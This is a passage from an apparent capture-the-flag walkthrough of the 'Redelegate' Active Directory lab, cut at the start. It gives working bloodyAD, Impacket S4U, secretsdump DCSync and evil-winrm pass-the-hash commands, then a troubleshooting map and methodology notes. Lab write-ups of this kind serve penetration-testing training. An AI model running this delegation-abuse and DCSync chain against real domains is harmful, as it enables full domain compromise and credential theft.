add uac 'FS01$' -f TRUSTED_TO_AUTH_FOR_DELEGATION
bloodyAD -d redelegate.vl -k --host dc.redelegate.vl \
set object 'FS01$' msDS-AllowedToDelegateTo -v 'cifs/dc.redelegate.vl'Verify:
Get-ADComputer -Identity FS01 -Properties userAccountControl,msDS-AllowedToDelegateTo |
Format-List Name,SamAccountName,userAccountControl,msDS-AllowedToDelegateTo
$uac = (Get-ADComputer -Identity FS01 -Properties userAccountControl).userAccountControl
[bool]($uac -band 0x1000000)Request S4U ticket
impacket-getTGT redelegate.vl/'FS01$':'[FS01_PASSWORD]' -dc-ip [TARGET_IP]
export KRB5CCNAME="$(pwd)/FS01\$.ccache"
klist
impacket-getST 'redelegate.vl/FS01$:[FS01_PASSWORD]' \
-dc-ip [TARGET_IP] \
-spn cifs/dc.redelegate.vl \
-impersonate dcExport generated ticket:
ls -la *.ccache
export KRB5CCNAME="$(pwd)/dc@cifs_dc.redelegate.vl@REDELEGATE.VL.ccache"
klistDCSync
impacket-secretsdump -k -no-pass dc.redelegate.vl -just-dc-user AdministratorAdministrator WinRM
evil-winrm -i redelegate.vl -u 'Administrator' -H [ADMIN_NT_HASH]Inside Evil-WinRM:
whoami
cd C:\Users\Administrator\Desktop
type root.txtπ§ Diagnostic Map
Symptom: Initial Nmap scan does not show MSSQL
Meaning: Default scan missed a relevant port, possibly due to timing/dropped probes
Next: Run a full TCP scan and targeted service scan on newly discovered ports
Symptom: FTP .kdbx download shows ASCII warning
Meaning: Binary file may be corrupted
Next: Switch FTP to binary mode and re-download the KeePass database
Symptom: Hashcat returns Salt-value exception
Meaning: The keepass2john output is not accepted by the chosen hashcat mode/format
Next: Use John, which recognizes the KeePass hash correctly
Symptom: John says recovery file is locked
Meaning: Another John process is still running or a stale recovery file exists
Next: Stop the old process or clear the stale session before retrying
Symptom: RockYou cracking takes too long
Meaning: Generic cracking is not using the target-specific clue
Next: Build a small wordlist from SeasonYear!
Symptom: keepassxc-cli show displays Password: PROTECTED
Meaning: Protected fields are hidden by default
Next: Use keepassxc-cli show -s
Symptom: cd or dir fails inside KeePassXC CLI
Meaning: KeePassXC CLI is not a filesystem shell
Next: Use keepassxc-cli ls -R and keepassxc-cli show from the normal shell
Symptom: SQLGuest fails against SMB/LDAP
Meaning: It is probably not a domain account
Next: Test it against MSSQL with local auth
Symptom: SQLGuest is not sysadmin and xp_cmdshell is disabled
Meaning: MSSQL is not an RCE path
Next: Use MSSQL for domain/SID/RID enumeration
Symptom: MSSQL enum keeps running with no new findings
Meaning: The module is still iterating, but the useful user list may already be recovered
Next: Apply a stop condition, save output, and proceed to credential validation
Symptom: Broad password spray would create many attempts
Meaning: Potential lockout risk
Next: Test one high-probability password first
Symptom: Marie authenticates to SMB/LDAP but not WinRM
Meaning: Valid domain user, but no remote shell rights
Next: Use LDAP/BloodHound enumeration
Symptom: MachineAccountQuota: 0
Meaning: New machine account creation is blocked
Next: Look for control over existing computer objects
Symptom: BloodHound shows ForceChangePassword
Meaning: Current principal can reset another accountβs password
Next: Choose a user that has better access, such as WinRM rights
Symptom: PowerShell rejects &&
Meaning: Older Windows PowerShell does not support it
Next: Use ; as the separator
Symptom: Get-ADUser does not find FS01$
Meaning: FS01$ is a computer account, not a user
Next: Use Get-ADComputer
Symptom: FS01 has no SPNs
Meaning: Not a Kerberoasting path
Next: Treat FS01 as a controllable AD computer object
Symptom: No explicit cifs/dc.redelegate.vl SPN on DC
Meaning: CIFS may be covered by HOST SPN mappings
Next: Check sPNMappings and proceed with cifs/dc.redelegate.vl
Symptom: nxc or Impacket fails with FS01$
Meaning: Shell may be interpreting $
Next: Single-quote or escape the computer account name
Symptom: getST succeeds but klist still shows FS01$
Meaning: The generated service ticket cache was not exported
Next: Export the exact dc@cifs_...ccache file
Symptom: klist: No credentials cache found for dc.ccache
Meaning: The file name is wrong
Next: Run ls -la *.ccache and export the real generated filename
Symptom: secretsdump fails or ignores ticket
Meaning: Wrong Kerberos cache is active
Next: Verify KRB5CCNAME with klist
Symptom: Evil-WinRM gives authorization error before Administrator hash is used
Meaning: Current credential or auth context is insufficient
Next: Use the recovered Administrator NT hash after DCSync
π Related Manual Notes
Field-manual techniques demonstrated on this box:
- Nmap_Host_Port_Scanning β full TCP discovery and targeted follow-up scans
- Attacking_FTP β anonymous FTP, binary transfer mode, sensitive file retrieval
- Attacking_KeePass β KeePass vault recovery and credential classification
- Password_Cracking_Wordlists_Rules β targeted wordlists from environmental clues
- AD_Password_Spraying_AD β lockout-aware single-candidate validation
- Attacking_SQL_Databases β local MSSQL authentication, SQL context checks, RID/domain enumeration
- AD_Credentialed_Enum_Linux β authenticated users, groups, shares, MAQ, LDAP checks
- NetExec_BloodHound β graph collection and ACL edge interpretation
- AD_ACL_Abuse β
ForceChangePassword,GenericAll, and computer-object control (machine-account password reset) - Windows_Remote_Management_RDP_WinRM_WMI β WinRM access validation and Evil-WinRM shells
- AD_Kerberos_Double_Hop β constrained delegation, protocol transition, S4U2Self/S4U2Proxy
- AD_DCSync β secretsdump with Kerberos service tickets
- Pass_the_Hash β Administrator NT hash to WinRM
π Personal Notes
Redelegate was one of the better CPTS-style AD boxes because it punished shallow enumeration and rewarded careful chaining.
The first lesson was that full-port scanning matters. The initial scan showed the obvious DC services and anonymous FTP, but the full TCP scan revealed MSSQL. Without MSSQL, the path from KeePass to valid domain usernames would have been much less obvious.
The FTP stage was also a good reminder that file transfer details matter. Downloading a KeePass database in ASCII mode is enough to create uncertainty. Re-downloading in binary mode before cracking was the right move.
The training material was not fluff. SeasonYear! looked like awareness-training content, but it directly described the password pattern. That one clue cracked the KeePass vault and later guided the targeted domain password reuse check.
The KeePass stage reinforced the value of credential classification. Not every recovered credential is a domain credential. SQLGuest looked service-specific, and testing it against MSSQL was the correct move. SMB failure would not have invalidated it.
The MSSQL stage was subtle. SQLGuest was not sysadmin, had no useful app databases, and could not use xp_cmdshell. It still mattered because MSSQL could enumerate domain accounts through SID/RID resolution. That turned one local SQL login into a clean AD username list.
The password spraying step was a good place to practice real-world restraint. Spraying the full season/year list across all users would have worked in many labs, but it is a bad habit. One high-probability password across the discovered users was enough.
BloodHound was essential, but only after understanding the data. The important path was not simply βshortest path to Domain Admin.β The useful observations were Marieβs Helpdesk membership, Helpdeskβs ForceChangePassword edges, Helenβs WinRM access, and Helenβs later connection to IT.
The Helen stage was the turning point. whoami /priv showed SeEnableDelegationPrivilege, and BloodHound showed GenericAll over FS01$ through IT. That combination was the real privilege escalation path.
It was tempting to think of FS01 as a file server and go looking for shares or documents. The correct interpretation was that FS01$ was an AD computer object. Control over that object allowed machine-account password reset and delegation configuration.
The delegation part was the most important learning point. RBCD directionality matters. Configuring delegation access to FS01 would not compromise the DC. The useful action was configuring FS01$ to delegate to a DC-hosted service.
The missing explicit CIFS SPN was another good Kerberos lesson. The DC did not list cifs/dc.redelegate.vl directly, but HOST SPN mappings covered CIFS. Checking sPNMappings clarified why the CIFS target still worked.
Kerberos cache handling caused a small but useful gotcha. getST created a long cache filename, not dc.ccache. Exporting the wrong cache made klist fail. Once the exact generated cache was exported, secretsdump worked.
The final DCSync felt clean because every prerequisite had been proven:
Helen had the privilege.
IT had control over FS01$.
FS01$ password reset worked.
FS01$ authentication worked.
Delegation attributes were set.
S4U ticket was generated.
Kerberos cache showed cifs/dc.redelegate.vl.
secretsdump returned Administrator material.Overall methodology:
Enumerate every exposed service. Treat training and audit files as intelligence. Use small, evidence-driven wordlists. Classify credentials by likely scope. Use MSSQL for enumeration even when RCE is unavailable. Spray carefully. Let BloodHound guide questions, not replace thinking. Understand AD ACL directionality. Treat computer objects as Kerberos principals. Verify delegation attributes before requesting tickets. Always check the active Kerberos cache before running Impacket tools.